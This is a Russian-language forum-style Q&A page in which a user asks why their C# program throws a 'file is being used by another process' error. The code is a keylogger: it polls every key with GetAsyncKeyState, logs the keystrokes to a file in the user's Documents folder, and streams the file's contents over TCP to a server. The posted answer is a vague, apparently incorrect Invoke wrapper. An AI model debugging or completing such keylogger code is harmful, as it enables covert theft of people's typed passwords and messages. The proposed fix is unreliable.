Процесс не может получить доступ к файлу, так как этот файл используется другим процессом - C# (187420)

Узнай цену своей работы

Формулировка задачи:

Программа отправляет на сервер сообщение из файла(должна), но выдаёт исключение "Процесс не может получить доступ к файлу, так как этот файл используется другим процессом." Вот код
Листинг программы
  1. class Program
  2. {
  3.  
  4. [DllImport("user32.dll")]
  5. public static extern int GetAsyncKeyState(Int32 i);
  6. static void Main(string[] args)
  7. {
  8. new Thread(Server).Start();
  9. Starts();
  10.  
  11. }
  12. //
  13. public static void Server()
  14. {
  15. TcpClient client = new TcpClient();
  16. client.Connect(new IPEndPoint(IPAddress.Parse("127.0.0.1"), 2200));
  17. //Здесь передаём данные серверу
  18. StreamReader srFile = new StreamReader("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt");
  19. string[] str = new string[2024];
  20. string s = null;
  21. while ((s = srFile.ReadLine()) != null) {
  22. for(int i = 0; i < str.Length; i++)
  23. {
  24. str[i] = s;
  25. s = null;
  26. }
  27. }
  28. srFile.Close();
  29.  
  30. StreamWriter sw = new StreamWriter(client.GetStream());
  31. sw.AutoFlush = true;
  32. for (int j = 0; j < str.Length; j++)
  33. {
  34. sw.WriteLine(str[j]);
  35. }
  36.  
  37. }
  38. static void Starts()
  39. {
  40. while (true)
  41. {
  42. Thread.Sleep(10);
  43. for (Int32 i = 0; i < 255; i++)
  44. {
  45. int keyState = GetAsyncKeyState(i);
  46. if (keyState == 1 || keyState == -32767)
  47. {
  48. Console.WriteLine((Keys)i);
  49. string toStringKeys = Convert.ToString((Keys)i);
  50. File.AppendAllText("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
  51. break;
  52. }
  53. }
  54. }
  55. }
  56. }
  57. }
Как исправить ошибку?

Решение задачи: «Процесс не может получить доступ к файлу, так как этот файл используется другим процессом»

textual
Листинг программы
  1. Action syn = () =>
  2. {
  3. //Тут код который вызывает ошибку.
  4. // наверное это File.AppendAllText("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
  5. };
  6. Invoke(syn)

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

10   голосов , оценка 4 из 5

Нужна аналогичная работа?

Оформи быстрый заказ и узнай стоимость

Бесплатно
Оформите заказ и авторы начнут откликаться уже через 10 минут
Похожие ответы